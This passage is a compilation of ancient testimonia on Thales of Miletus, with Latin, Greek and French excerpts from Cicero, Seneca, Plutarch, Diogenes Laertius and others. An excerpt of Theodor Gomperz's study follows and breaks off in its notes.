ferebat Platonis, eandem illam astris quae caelo inhaererent esse descriptam; cuius omnem ornatum et descriptionem sumptam ab Eudoxo multis annis post non astrologiae scientia sed poetica quadam facultate versibus Aratum extulisse. hoc autem sphaerae genus, in quo solis et lunae motus inessent et earum quinque stellarum quae errantes et quasi vagae nominarentur, in illa sphaera solida non potuisse finiri, atque in eo admirandum esse inventum Archimedi, quod excogitasset quem ad modum in dissimillimis motibus inaequabiles et varios cursus servaret una conversio. :J'avais souvent entendu parler de cette sphère qui passait pour le chef-d'œuvre d'Archimède, et j'avoue qu'au premier coup d'oeil elle ne me parut pas fort extraordinaire. Marcellus avait déposé dans le temple de la Vertu une autre sphère d'Archimède, plus connue du peuple et qui avait beaucoup plus d'apparence. Mais lorsque Gallus eut commencé à nous expliquer, avec une science infinie, tout le système de ce bel ouvrage, je ne pus m'empêcher de juger qu'il y avait eu dans ce Sicilien un génie d'une portée à laquelle la nature humaine ne me paraissait pas capable d'atteindre. Gallus nous disait que l'invention de cette autre sphère solide et pleine remontait assez haut, et que Thalès de Milet en avait exécuté le premier modèle; que dans la suite Eudoxe de Cnide, disciple de Platon, avait représenté à sa surface les diverses constellations attachées à la voûte du ciel ; et que, longues années après, Aratus, qui n'était pas astronome, mais qui avait un certain talent poétique, décrivit en vers tout le ciel d'Eudoxe. === République I, 25 === :On nous rapporte que Périclès, qui par son crédit, son éloquence et son habile politique, était devenu le chef d'Athènes, voyant ses concitoyens consternés d'une éclipse de soleil qui les avait plongés dans des ténèbres subites, leur expliqua ce qu'il avait appris lui-même de son maître Anaxagore, qu'un pareil phénomène est dans l'ordre de la nature et se reproduit à des époques déterminées, lorsque le disque de la lune s'interpose tout entier entre le soleil et nous; et que s'il n'est pas amené à chaque renouvellement de la lune, il ne peut toutefois avoir lieu qu'à l'époque précise où la lune se renouvelle. Périclès décrivit aux Athéniens tous ces mouvements astronomiques; il leur en fit comprendre la raison, et dissipa leur terreur ; l'explication des éclipses de soleil par l'interposition de la lune était alors assez nouvelle et peu répandue. Thalès de Milet est, dit-on, le premier qui la proposa. == [[s:Sénèque le Jeune|Sénèque]] == === Questions naturelles, III === :[13,1] Adiciam, ut Thales ait, "ualentissimum elementum est." :[14,1] Quae sequitur Thaletis inepta sententia est. Ait enim terrarum orbem aqua sustineri et uehi more nauigii mobilitateque eius fluctuare tunc, cum dicitur tremere: non est ergo mirum, si abundat umor ad flumina profundenda, cum mundus in umore sit totus. === Questions naturelles, IV === :[2,22] Si Thaleti credis, etesiae descendenti Nilo resistunt et cursum eius acto contra ostia mari sustinent: ita reuerberatus in se recurrit nec crescit, sed exitu prohibitus resistit et quacumque mox potuit ui congestus erumpit. === Questions naturelles, VI === :[6,1] In aqua causam esse nec ab uno dictum est nec uno modo. Thales Milesius totam terram subiecto iudicat umore portari et innare, siue illud oceanum uocas, siue magnum mare, siue alterius naturae simplicem adhuc aquam et umidum elementum. Hac, inquit, unda sustinetur orbis uelut aliquod grande nauigium et graue his aquis quas premit. == Pline == === Histoire naturelle, II, 53 === Apud Graecos autem investigavit primus omnium Thales Milesius Olympiadis XLVIII anno quarto praedicto solis defectu, qui Alyatte rege factus est urbis conditae anno CLXX. == Plutarque == === Vie de Solon §3 === :En général, Thalès fut de tous les sages le seul qui porta au-delà des choses d’usage la théorie des sciences ; tous les autres ne durent qu’à leurs connaissances politiques leur réputation de sagesse. === Le Banquet des Sept Sages §2 === :Ainsi, vous, Thalès, le roi d'Egypte vous admire beaucoup, et, entre autres choses, il a été, au-delà de ce qu'on peut dire, ravi de la manière dont vous avez mesuré la pyramide sans le moindre embarras et sans avoir eu besoin d'aucun instrument. Après avoir dressé votre bâton à l'extrémité de l'ombre que projetait la pyramide, vous construisîtes deux triangles par la tangence d'un rayon, et vous démontrâtes qu'il y avait la même proportion entre la hauteur du bâton et la hauteur de la pyramide qu'entre la longueur des deux ombres. == Diogène Laërce == ''Ce texte est un extrait de la traduction de Robert Genaille (1933)'' Thalès[1], au dire d’Hérodote, de Douris et de Démocrite, était fils d’Examios et de Cléobuline, et membre de la famille des Thélides, Phéniciens descendant en droite ligne d’Agénor[2] et de Cadmus[3], s’il faut en croire Platon. Le premier, il porta le nom de sage, au temps où Damasias était archonte à Athènes[4]. C’est sous le même archontat que fut créée l’expression : « les sept sages » (cf. Démocrite de Phalère, Registre des Archontes). Thalès fut inscrit comme citoyen de Milet quand il vint dans cette ville avec Nélée chassé de Phénicie. Une autre tradition très courante veut qu’il soit natif de Milet et qu’il descende d’une bonne famille. Il s’occupa de politique avant d’étudier la nature. On croit qu’il ne laissa aucun écrit, car l’Astrologie nautique qu’on lui attribue est de Phocos de Samos. Callimaque[5] croit qu’il découvrit la Petite Ourse et le raconte en vers iambiques : Il mesura, dit-on, les étoiles du Chariot Sur quoi les Phéniciens règlent leur navigation. D’autres auteurs disent qu’il écrivit seulement deux ouvrages, un sur le solstice et un sur l’équinoxe, car il pensait le reste inaccessible. Il passe pour avoir le premier étudié l’astrologie et prédit les éclipses de soleil et les solstices (cf. Eudème, Histoire de l’astrologie)[6]. Xénophane et Hérodote le louent à ce propos, et leur témoignage est confirmé par celui d’Héraclite et de Démocrite. On dit encore (cf. le poète Choirilos) qu’il fut le premier à affirmer l’immortalité des âmes. Le premier il dessina la course du soleil d’un solstice à l’autre, et démontra que comparée au soleil, la lune en est la cent vingtième partie. C’est encore lui qui fixa à trente jours la durée du mois, et qui écrivit le premier traité sur la Nature. Aristote et Hippias disent aussi qu’il accordait une âme aux choses qu’on croit inanimées ; il en donnait pour preuve l’ambre et la pierre de Magnésie. Selon Pamphile[7], il apprit des Égyptiens la géométrie, inscrivit dans un cercle le triangle rectangle, et pour cette découverte immola un boeuf. D’autres, comme Apollodore le calculateur, attribuent cette invention à Pythagore. Thalès a encore développé et précisé l’invention du Phrygien Euphorbe citée par Callimaque dans ses Iambes et concernant le triangle scalène, et tout ce qui touche aux considérations sur les lignes. Il semble encore avoir été en politique un homme de bon conseil. Ainsi, quand Crésus[8] envoya une ambassade aux Milésiens pour demander leur alliance, il s’y opposa, et son intervention sauva la ville, puisque Cyrus l’emporta. Héraclite cite une opinion de Clytos selon laquelle Thalès aurait eu une vie retirée et solitaire. Les uns disent qu’il se maria et eut un fils nommé Kibissos. D’autres prétendent qu’il resta célibataire et adopta le fils de sa soeur, qu’on lui demanda un jour pourquoi il ne cherchait pas à avoir des enfants, et qu’il répondit : « Par amour pour les enfants. » Sa mère l’exhortait à se marier, il lui répondit : « Non, par Zeus, il n’est pas encore temps. » Elle l’y invita une nouvelle fois quand il eut pris de l’âge, mais il lui dit : « Il n’est plus temps. » D’après Hiéronyme de Rhodes (Notes, livre II), il voulut montrer combien il était facile de s’enrichir ayant prévu pour l’année une abondante récolte d’huile, il prit à loyer une oliveraie et gagna beaucoup d’argent[9]. Il soupçonna que l’eau était le principe des choses, que le monde était animé et rempli de démons. On dit qu’il découvrit les saisons de l’année, et qu’il la divisa en trois cent soixante-cinq jours. Il ne suivit les leçons d’aucun maître, sauf en Égypte, où il fréquenta les prêtres du pays. A ce propos, Hiéronyme dit qu’il mesura les Pyramides en calculant le rapport entre leur ombre et celle de notre corps. Si l’on en croit Minuès, il vivait au temps de Thrasybule, qui fut tyran de Milet[10]. L’histoire du trépied trouvé par des pêcheurs et dédié aux sages par le peuple de Milet est bien connue. Des jeunes gens d’Ionie achetèrent à des pêcheurs milésiens leur coup de filet. Ils tirèrent de l’eau un trépied. On se querella et les Milésiens envoyèrent une ambassade à Delphes. Voici quel fut l’oracle de la divinité : Race de Milet, tu interroges Phébus au sujet d’un trépied ? Au plus sage de tous, je donne ce trépied[11]. Ils le donnent alors à Thalès, qui le donne à un autre, et cet autre à un autre, et ainsi de suite jusqu’à Solon, qui, déclarant que seul le dieu était le plus sage de tous, rendit le trépied à Delphes. Callimaque, dans ses Iambes, rapporte cette histoire autrement ; il la tient de Léandre de Milet. Il dit qu’un certain Bathyclès d’Arcadie laissa en mourant une coupe pour qu’elle fût donnée à l’homme le plus sage. Elle fut donc donnée à Thalès, et après être passée de main en main et avoir fait le tour des sages, elle revint à Thalès. Celui-ci en fit don alors à Apollon de Didyme, en ces termes selon le poème de Callimaque : Thalès me donne au protecteur du peuple du Nil, Thalès qui a reçu deux fois ce présent, ce qui, en prose, se dit ainsi : « Thalès de Milet, fils d’Examios, à Apollon delphien, ce présent qu’il a reçu deux fois des Grecs. » Celui qui portait la coupe de sage en sage, le fils de Bathyclès, s’appelait Thyrion (cf. Éleusis, Livre sur Achille, et Alexon de Mynde, Fables, livre IX). Eudoxe de Cnide et Évanthès de Milet disent de leur côté qu’un ami de Crésus reçut du roi un vase d’or, pour le donner au plus sage des Grecs, qu’il le donna à Thalès et que ce vase parvint jusqu’à Chilon. Celui-ci consulta la Pythie, pour savoir qui était plus sage que lui. Elle répondit que c’était Myson (je parlerai de lui : Eudoxe le met parmi les sages à la place de Cléobule et Platon à la place de Périandre.) Voici la réponse que lui fit la Pythie : Il y a un habitant de l’Oeta, Myson, né à Chénée, Qui plus que toi est riche de sages pensées. L’homme qui consulta l’oracle pour Chilon s’appelait Anacharsis. Dédale le Platonicien et Cléarque disent que la coupe fut envoyée par Crésus à Pittacos, et que c’est ainsi qu’elle passa de main en main. D’après Andron, d’autre part (Livre du trépied), les Argiens décidèrent que le trépied serait attribué comme prix de vertu au plus sage des Grecs. Aristodème de Sparte fut choisi et c’est lui qui donna le trépied à Chilon. Alcée est aussi partisan d’Aristodème dont il parle dans les vers suivants : :Comme jadis Aristodème, dit-on, :Prononça à Sparte cette parole bien juste : :C’est de l’argent, un homme, oui de l’argent, :Car l’homme vertueux n’est jamais pauvre. D’autres disent encore que Périandre envoya à Thrasybule, tyran de Milet, un navire chargé, que ce navire fit naufrage dans la mer de Cos, et que quelque temps après le trépied fut trouvé par des pêcheurs. Phanodicos dit que le trépied fut trouvé dans la mer Attique, porté à la ville, et que l’assemblée du peuple s’étant réunie le fit porter à Bias. Pourquoi cela, je le dirai quand je parlerai de Bias. Selon d’autres auteurs, le trépied avait été fabriqué par Héphaïstos et donné en présent de la part de ce dieu à Pélops lors de son mariage. Il vint ensuite à Ménélas, fut enlevé avec Hélène par Alexandre, jeté dans la mer de Cos à l’instigation de la Spartiate qui prévoyait qu’il serait un sujet de querelle. Plus tard, en ce lieu, des Lébédiens achetèrent le produit d’un coup de filet et c’est le trépied qui fut tiré de l’eau. Il y eut querelle avec les pêcheurs, on vint jusqu’à Cos, et comme on ne s’accordait pas, on s’adressa à Milet, qui était la capitale. Les Milésiens envoyèrent des députés qui ne furent pas écoutés, aussi firent-ils la guerre aux gens de Cos. Comme de chaque côté il mourait beaucoup de gens, l’oracle déclara qu’il fallait donner le trépied au plus sage. Les deux camps s’entendirent alors pour l’attribuer à Thalès, qui par la suite le consacra à Apollon de Didyme. Pour en revenir à la réponse de l’oracle aux gens de Cos, elle disait ceci : La querelle entre Ioniens et Méropes ne cessera pas Avant que le trépied d’or qu’Héphaïstos jeta dans la mer N’ait quitté votre ville pour la maison de l’homme Qui connaît le présent, l’avenir et le passé. La réponse aux Milésiens fut la suivante : Race de Milet, tu interroges Phoebus au sujet d’un trépied... comme il a été dit plus haut. En voilà assez sur ce sujet[12]. Hermippe, dans ses Vies, rapporte à Thalès ce qui est dit par d’autres de Socrate : il aimait à dire qu’il remerciait la fortune de trois choses : d’être un humain et non une bête, d’être un homme et non une femme, enfin d’être un Grec, et non un barbare. On raconte encore qu’étant sorti de chez lui pour contempler les astres, il tomba dans un puits[13]. Une vieille femme survenant se moqua de lui en ces mots : « Comment, Thalès, toi qui n’es pas capable de voir ce qui est à tes pieds, t’imagines-tu pouvoir connaître ce qui est dans le ciel ? » Timon[14] a bien connu aussi la science de Thalès en astronomie, et dans ses Silles, il le loue en ces termes : Comme Thalès, un des sept sages, qui fut savant astronome. L’Argien Lobon dit que ses écrits font un total de quelque deux cents vers, et que sous sa statue on écrivit : Thalès de Milet repose ici dans le sol qui l’a nourri, Il fut un sage, et le premier des astrologues. Voici un de ses poèmes : Le trop parler n’est pas marque d’esprit. Trouvez une seule chose sage, Choisissez une seule chose belle, Et vous clouerez le bec à bien des bavards. On lui attribue encore les sentences suivantes : de tous les êtres, le plus ancien, c’est Dieu, car il n’a pas été engendré ; le plus beau, c’est le monde, car il est l’ouvrage du dieu ; le plus grand, c’est l’espace, car il contient tout ; le plus rapide, c’est l’esprit, car il court partout ; le plus fort, c’est la nécessité, car elle vient à bout de tout ; le plus sage, c’est le temps, parce qu’il découvre tout. La mort, dit-il, ne diffère en rien de la vie. On lui répond : « Pourquoi, alors, ne te donnes-tu pas la mort ? » ; « Parce que vie ou mort, c’est tout un », réplique-t-il. Quelqu’un lui demande ce qui du jour ou de la nuit fut créé d’abord ; il répond : « La nuit est en avance d’un jour. » On lui demande si les mauvaises actions d’un homme échappent au regard des dieux. Il répond : « Ils voient même les mauvaises pensées. » Un homme adultère lui demandait s’il pouvait jurer qu’il n’avait pas commis d’adultère. Il répondit : « Le parjure n’est pas pire que l’adultère. » On lui demandait ce qui était difficile : « Se connaître » dit-il ; ce qui était facile : donner un conseil à autrui ; ce qui était le plus doux : jouir ; ce que c’était que la divinité : un être sans commencement ni fin ; encore une chose difficile : voir un tyran âgé ; comment supporter aisément l’infortune : en voyant ses ennemis plus malheureux encore ; comment vivre vertueusement : en ne faisant pas ce que nous reprochons à autrui ; qui est heureux : l’homme bien portant, riche, courageux et instruit. Il disait encore que l’on doit penser à ses amis aussi bien en leur absence qu’en leur présence, que la beauté ne vient pas d’un beau visage, mais de belles actions. « Ne t’enrichis pas injustement, conseillait-il, et veille à ne pas être cité en justice pour de mauvaises paroles contre tes proches et tes amis. Comme tu traites tes parents, tes enfants te traiteront. » Du Nil[15] il disait qu’il débordait quand ses eaux étaient repoussées par les vents étésiens qui soufflent contre son cours. Apollodore dans ses Chroniques dit que Thalès naquit la première année de la trente-cinquième olympiade[16]. Il mourut dans sa soixante-dix-huitième année ou, comme le dit Sosicrate, dans sa quatre-vingt-dixième année, car ce fut dans la cinquante-huitième olympiade. Il vécut du temps de Crésus, auquel il promit de faire traverser l’Hallys[17] sans pont, en détournant le cours du fleuve. Il y eut cinq autres personnages du nom de Thalès (cf. Démétrios de Magnésie, Homonymes) : un rhéteur de Callatie, au style prétentieux, un peintre de Sicyone, de noble origine, un troisième, très ancien, du temps d’Hésiode, d’Homère et de Lycurgue, un quatrième, mentionné par Douris dans son traité de la peinture, un cinquième, plus jeune et peu connu, cité par Denys dans ses Critiques. Pour en revenir à notre sage, il mourut en regardant les jeux gymniques, pour avoir eu trop chaud et trop soif et par suite de sa fatigue et de son grand âge. Voici son épitaphe : :Ce tombeau, certes, est bien petit, :Mais la renommée de l’homme est allée au ciel. :C’est celui de Thalès le très sage. J’ai écrit sur lui les vers suivants dans le premier livre de mes épigrammes ou « vers de mètres divers[18] : :Tandis qu’il regardait les jeux, ô Zeus Hélios, :Tu as ravi du stade le sage Thalès. :Je te loue de l’avoir rapproché du ciel. Il était si vieux :Que de la terre il ne pouvait plus voir les astres. Thalès est l’auteur du fameux « connais-toi toi-même » qu’Antisthène (Livre des Filiations) attribue à Phémonoé, en déclarant que Chilon se l’appropria mensongèrement. Sur les sept sages, qu’il est juste de citer maintenant l’un après l’autre, voici la tradition. Damon de Cyrène, qui blâme tous les philosophes dans ses écrits, s’attaque surtout aux sept sages. Anaximène dit que tous étaient poètes. Dicéarque dit qu’ils n’étaient ni sages ni philosophes, mais hommes d’esprit et législateurs. Archétimos de Syracuse a décrit leurs assemblées chez Cypsélos[19] et dit qu’il y assista personnellement. Euphoros dit que tous, sauf Thalès, fréquentèrent Crésus. D’autres disent qu’ils se réunirent à Panionium, à Corinthe et à Delphes. On rapporte même leurs paroles, et qui a prononcé telle ou telle. Exemple : Le Spartiate Chilon fut sage, Lui qui dit : Rien de trop, Tout est bien qui vient en son temps ! On n’est pas d’accord sur leur nombre. Léandre, au lieu de Cléobule et de Myson, met Léophante, fils de Gorsias, ou Lébédios d’Éphèse et Épiménide de Crète. Platon, dans le Protagoras[20], met Myson à la place de Périandre. Éphoros met Anacharsis à la place de Myson et d’autres ajoutent Pythagore. Selon Dicéarque, il y en a quatre sur qui tout le monde est d’accord : Thalès, Bias, Pittacos et Solon. Le même auteur en nomme six autres, parmi lesquels il en choisit trois : Aristodème, Pamphile, le Lacédémonien Chilon, Cléobule, Anacharsis et Périandre. D’autres ajoutent Acousilaos, Caba ou Scala, un Argien. Hermippe, dans son livre sur les sages, dit qu’ils furent dix-sept et que chacun en choisit sept selon ses préférences. Ce sont Solon, Thalès, Pittacos, Bias, Chilon, Cléobule, Périandre, Anacharsis, Acousilaos, Épiménide, Léophante, Phérécyde, Aristodème, Pythagore, Lasos, fils de Charmantidas ou de Sisambrinos ou, selon Aristoxène, de Chabrinus, Hermonée, Anaxagore. Hippobotos (Catalogue des Philosophes) les inscrit ainsi : Orphée, Linos, Solon, Périandre, Anacharsis, Cléobule, Myson, Thalès, Bias, Pittacos, Épicharme et Pythagore. Voici des lettres attribuées à Thalès[21] : ===== Thalès à Phérécyde ===== « J’apprends que vous vous disposez à présenter aux Grecs le premier traité ionien des choses divines. Vous agiriez peut-être plus sagement en lisant votre ouvrage à vos amis, qu’en communiquant à n’importe quelles gens des écrits qui ne peuvent guère leur être utiles. « Si cela vous plaît, j’aimerais profiter de vos recherches et, si vous m’y invitez, je viendrai vous trouver au plus tôt. Car Solon d’Athènes et moi, qui avons déjà traversé deux fois la mer pour aller visiter la Crète, et pour aller en Égypte nous entretenir avec les prêtres et les astronomes du lieu, nous sommes assez sages pour ne pas hésiter à la traverser de nouveau pour aller vous voir. « Je parle de Solon, parce qu’il viendra avec moi si vous le permettez. Vous êtes un sédentaire, vous allez rarement en Ionie, vous n’aimez guère aller voir les étrangers, et vous ne songez, j’imagine, qu’à écrire. « Mais nous qui n’écrivons pas, nous parcourons volontiers la Grèce et l’Italie. » ===== Thalès à Solon ===== « Si vous quittez Athènes, vous aurez, je crois, tout avantage à venir vous établir à Milet, parmi les colons athéniens. Il n’y a là pour vous aucun danger. Si vous hésitez, sous prétexte que nous, Milésiens, sommes gouvernés par un tyran (je sais que vous haïssez tout pouvoir absolu), songez du moins que vous aurez plaisir à vivre avec nous qui sommes vos amis. Je sais que Bias vous a écrit et vous invite à aller à Priène. Si vous trouvez préférable d’habiter la ville de Priène, j’irai vivre là-bas avec vous. » == Ausone == === Le Jeu des Sept Sages === :Thalès a trouvé [texte grec] pour nous défendre de nous porter cautions, parce qu'il y a du danger à répondre ainsi pour d'autres[iv]. Nous donnons-là un avis qui ne plaira pas beaucoup aux emprunteurs. :THALÈS : Je suis Thalès de Milet ; j'ai dit, comme le poète Pindare, que l'eau est, le principe de toute chose. C'est à moi que des pêcheurs donnèrent autrefois [un trépied d'or] qu'ils avaient tiré de la mer : ils m'avaient choisi pour obéir au dieu de Délos, qui envoyait ce présent à un sage. Je refusai de le recevoir, je le leur rendis pour le porter à d'autres que je croyais plus dignes. Envoyé à tous les sept Sages, et renvoyé par eux, il nie fut rapporté. Je le reçus alors pour le consacrer à Apollon : car si Phébus a voulu qu'on choisit un sage, ce n'était pas d'un homme, mais d'un dieu qu'il fallait l'entendre. Je suis donc ce Thalès : mais un motif m'amène sur la scène. Comme les deux sages qui m'ont précédé, je viens défendre la sentence dont je suis l'auteur. Elle déplaira, mais non certes aux esprits prudents que l'expérience a instruits et rendus plus avisés. Nous avons dit : [texte grec], ou, en latin : Cautionne, mais tu t'en trouveras mal. Je pourrais parcourir mille exemples pour vous montrer des cautions et des répondants bien et dûment convaincus de repentir. Mais je ne veux nommer personne. Que chacun de, vous ré-fléchisse, et compte en lui-même combien de gens ont perdu ou souffert de s'être ainsi portés cautions pour d'autres. Toutefois, si un pareil service a du charme pour vous, n'y renoncez ni les uns ni les autres. :Alors que les uns applaudissent, et que les autres, si je les blesse, me sifflent. :THALÈS DE MILET. :AVANT d'oser une mauvaise action, à défaut de Témoin redoute ta conscience. La vie s'éteint, mais la gloire de la mort ne meurt point. Ce que tu veux faire, abstiens-toi de le dire. C'est un supplice de craindre ce qu'on ne peut empêcher. Si tu blâmes avec raison, ton hostilité même est profitable ; si tu loues mal à propos, ton amitié même est nuisible. Rien de trop. - Arrêtons-nous, et qu'ici même il n'y ait rien de trop. == Vitruve == === De l'architecture, livre VIII === :1. Le premier des sept sages, Thalès de Milet, soutenait que l'eau était le principe de toutes choses; Héraclite prétendait que c'était le feu. === De l'architecture, livre IX, 6 === :3. Mais si l'on veut connaître le principe des choses, il faut lire les savants ouvrages des Thalès de Milet, des Anaxagore de Clazomène, des Pythagore de Samos, des Xénophane de Colophon, des Démocrite d'Abdère, qui nous font connaître les lois qui gouvernent la nature, et les effets qu'elles produisent. == Flavius Josèphe == === Contre Apion, I, 2 === :Mais bien certainement les premiers philosophes grecs qui aient traité des choses célestes et divines, comme Phérécyde de Syros, Pythagore et Thalès furent, tout le monde s'accorde là dessus, les disciples des Égyptiens et des Chaldéens avant de composer leurs courts ouvrages, et ces écrits sont aux yeux des Grecs les plus anciens de tous ; à peine même les croient-ils authentiques. == Lucien == === Hippias ou le bain === :(2) Mon but est de prouver que les constructeurs de machines qui méritent le plus notre admiration sont ceux qui, distingués par leur science théorique, ont laissé en outre à la postérité des monuments de leur art et des oeuvres de leur génie, tandis que les hommes, qui se sont seulement exercés dans la parole méritent plutôt le nom de sophistes que celui de savants. C'est sur la liste traditionnelle de ces artistes que nous voyons figurer Archimède et Socrate de Cnide, qui inventèrent, l'un les moyens de soumettre à Ptolémée la ville de Memphis, sans recourir à un siège, mais en détournant et en divisant le cours du Nil ; l'autre, ceux d'incendier les galères des ennemis. Avant eux, Thalès de Milet, ayant promis à Crésus de faire passer à pied sec à son armée les eaux du fleuve Halys, imagina de les détourner en une seule nuit derrière le camp ; et pourtant ce n'était pas un mécanicien de profession, mais un sage d'un esprit inventif et à l'intelligence duquel on pouvait s'en rapporter. === Exemples de longévité === :(18) Solon, Thalès et Pittacus, que l'on compte au nombre des Sept sages, vécurent chacun cent années. == Elien == === Histoires diverses === :On a vu des philosophes à la tête des affaires publiques : d'autres, se bornant à cultiver leur raison, ont passé leur vie dans le repos. Entre les premiers sont Zaleucus et Charondas qui réformèrent, l'un, le gouvernement des Locriens, l'autre, d'abord celui des Catanéens, puis, après qu'il eut été exilé de Catane, celui des Rhéginiens. Archytas servit utilement les Tarentins. Les Athéniens durent tout à Solon. Bias et Thalès rendirent les mêmes services à l'Ionie, Chilon à Lacédémone, Pittacus à Mitylène, Cléobule à Rhodes. == Proclus == === Commentaire sur le premier livre d'Euclide, 65, 3 === ὥσπερ οὖν παρὰ τοῖς Φοίνιξιν διὰ τὰς ἐμπορείας καὶ τὰ συναλλάγματα τὴν ἀρχὴν ἔλαβεν ἡ τῶν ἀριθμῶν ἀκριβὴς γνῶσις, οὕτω δὴ καὶ παρ' Αἰγυπτίοις ἡ γεωμετρία διὰ τὴν εἰρημένην αἰτίαν εὕρηται. Θαλῆς δὲ πρῶτον εἰς Αἴγυπτον ἐλθὼν μετήγαγεν εἰς τὴν Ἑλλάδα τὴν θεωρίαν ταύτην καὶ πολλὰ μὲν αὐτὸς εὗρεν, πολλῶν δὲ τὰς ἀρχὰς τοῖς μετ' αὐτὸν ὑφηγήσατο τοῖς μὲν καθολικώτερον ἐπιβάλλων, τοῖς δὲ αἰσθητικώτερον. == Valère Maxime == === Actions et paroles mémorables, VII, § 2 === :8. Il y a aussi un mot admirable de Thalès. On lui demandait si les actions des hommes échappaient à la connaissance des dieux. "Leurs pensées non plus", répondit-il. Aussi faut-il nous appliquer à avoir, je ne dis pas seulement les mains, mais encore le coeur pur, dans la persuasion que la divinité est témoin des mouvements les plus secrets de nos âmes. == Suidas, Lexique == Θαλῆς, Ἐξαμύου καὶ Κλεοβουλίνης, Μιλήσιος, ὡς δὲ Ἡρόδοτος Φοῖνιξ: γεγονὼς πρὸ Κροίσου, ἐπὶ τῆς λε# ὀλυμπιάδος, κατὰ δὲ Φλέγοντα γνωριζόμενος ἤδη ἐπὶ τῆς ζ#. ἔγραψε περὶ μετεώρων ἐν ἔπεσι, Περὶ ἰσημερίας, καὶ ἄλλα πολλά. ἐτελεύτησε δὲ γηραιός, θεώμενος γυμνικὸν ἀγῶνα, πιληθεὶς δὲ ὑπὸ τοῦ ὄχλου καὶ ἐκλυθεὶς ὑπὸ τοῦ καύματος. πρῶτος δὲ Θαλῆς τὸ τοῦ σοφοῦ ἔσχεν ὄνομα καὶ πρῶτος τὴν ψυχὴν εἶπεν ἀθάνατον ἐκλείψεις τε καὶ ἰσημερίας κατείληφεν. ἀποφθέγματα δὲ αὐτοῦ πλεῖστα: καὶ τὸ θρυλλούμενον: γνῶθι σαυτόν. τὸ γάρ, ἐγγύα, πάρα δ' ἄτα, Χίλωνός ἐστι μᾶλλον, ἰδιοποιησαμένου αὐτό: καὶ τό, μηδὲν ἄγαν. Thalès de Milet/Theodor Gomperz 5297 21486 2005-09-16T18:13:08Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>Études sur [[Thalès de Milet]]</center> |- | <center>'''[[Thalès de Milet/Theodor Gomperz|Notice de Theodor Gomperz]]''' - - '''[[Thalès de Milet/Tannery|Thalès et ses emprunts à l'Egypte, par P. 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Aussi était-il doué des aptitudes les plus diverses de la population de l'Ionie, et la tradition a entouré sa figure des couleurs les plus chatoyantes. Tantôt elle nous montre en lui le type du sage, étranger au monde, abîmé dans ses recherches, et qui se laisse tomber dans un puits en regardant les astres ; tantôt elle lui fait utiliser ses connaissances en vue d'un gain personnel ; une autre fois, s'il. faut en croire ce qu'on nous raconte, il donne à ses compatriotes, les Ioniens de l'Asie-Mineure, un conseil étonnamment sage et prévoyant : il s'agissait de créer une institution absolument inconnue aux Grecs de cette époque, un état fédératif. Sans aucun doute, il était tout ensemble marchand, homme d'État, ingénieur, mathématicien et astronome. Il avait acquis sa grande culture dans des voyages loin-tains : il était allé jusqu'en Égypte, où l'énigme des crues du Nil l'avait préoccupé. Le premier, il a fait de l'art rudimentaire de l'arpentage - où les Égyptiens ne voyaient que le moyen de résoudre tel ou tel problème donné - la géométrie déductive proprement dite, fondée sur des propositions générales. Une des démonstrations élémentaires de cette science porte encore aujourd'hui son nom. On rapporte, et le fait n'a rien en soi d'incroyable, qu'il indiqua à ses maîtres égyptiens le moyen, vainement cherché par eux, de mesurer la hauteur des Pyramides. Il leur fit observer qu'à l'heure où l'ombre d'un homme ou d'un objet quelconque est égale à leur grandeur réelle, l'ombre de ces monuments ne pouvait ni dépasser leur hauteur véritable, ni lui être inférieure. A la science babylonienne - avec les éléments de laquelle il avait pu se familiariser à Sardes{{Refl|2}} - il emprunta la loi du retour périodique des éclipses, qui lui permit de prédire, au grand étonnement de ses compatriotes, l'éclipse totale de soleil du 28 mai 585. Car il est impossible qu'il soit arrivé à ce résultat théoriquement, vu l'idée enfantine qu'il se faisait de la forme de la terre : celle d'un disque plat reposant sur l'eau{{Refl|3}}. Ses connaissances météorologiques eurent vraisemblablement la même origine{{Refl|4}}. On sait qu'il les fit servir à des buts pratiques, que, grâce à elles, il put prévoir une récolte d'olives particulièrement abondante, louer de nombreux pressoirs et réaliser ainsi un sensible profit. Les notions astronomiques qu'il acquit servirent les navigateurs de sa patrie, qui alors parcouraient les mers et faisaient le commerce avec beaucoup plus d'ardeur que tous les autres Grecs. Il leur fit voir que, de toutes les constellations, la Petite Ourse est celle qui indique le plus exactement le Nord. Qu'il ait écrit des livres, cela reste incertain ; il n'est guère probable qu'il ait fait connaître de cette manière sa doctrine sur l'essence des choses{{Refl|5}}. Car Aristote la connaît, mais il ignore sur quoi Thalès la fondait, et il en parle d'une façon purement conjecturale{{Refl|6}}. La nourriture des plantes et des animaux est humide, et la chaleur de la vie se dégage de l'humidité ; d'autre part, la semence des plantes et des animaux est constituée d'éléments humides ; tels sont, suivant Aristote, les motifs qui ont conduit Thalès à déclarer que l'eau, principe de tout ce qui est humide, est aussi la matière primordiale. Ces considérations l'ont-elles en effet déterminé ? Ou bien - et dans ce cas en quelle mesure ? - a-t-il été influencé par des spéculations plus anciennes, grecques ou étrangères? Cela est aussi peu clair pour nous, à l'heure actuelle du moins, que son attitude à l'égard de la religion{{Refl|7}}. :La doctrine de la matière primordiale admettait et devait provoquer un triple développement. La place que Thalès attribuait à l'eau dans la hiérarchie des matières ne pouvait rester incontestée. D'autres, parmi les plus répandues, particulièrement la plus fluide d'entre elles - l'air, - et la plus puissante - le feu, - devaient trouver des partisans et des champions. En outre, la pensée devait s'imposer à la pénétration d'un esprit génial, qu'il fallait chercher la forme primitive de la matière plutôt au-dessous et au-delà de ses formes actuelles et sensibles que dans le cercle de celles-ci. Enfin cette théorie renfermait un germe de scepticisme qui, tôt ou tard, devait acquérir sa pleine croissance. Car si, pour Thalès, elle signifiait peut-être ceci seulement : que toutes choses sortent de l'eau primordiale et y rentrent, elle ne pouvait manquer de prendre peu à peu une signification plus étendue, à savoir que la forme primitive de la matière est seule vraie et réelle, et que toutes les autres peuvent n'être que de simples et trompeuses illusions. Et du moment que l'on admettait que le fer ou le bois, par exemple, ne sont pas véritablement du bois ou du fer, mais de l'eau ou de l'air, était-il possible que le doute, éveillé sur la vérité du témoignage des sens, en restât là ? » '''Notes''' {{Refa|1}}Sources principales : [[Thalès de Milet/Textes et traductions#Diogène Laërce|Diog. Laërce, I ch. 1]], et Doxographi graeci. passim. [[Thalès de Milet/Textes et traductions#I, 170|Hérodote, I 170]], nous dit que Thalès était d'origine phénicienne τὸ ἀνέκαθεν γένος ἐόντος Φοίνικος. Les objections qu'on a élevées dernièrement contre cette affirmation, et qui ont été résumées en dernier 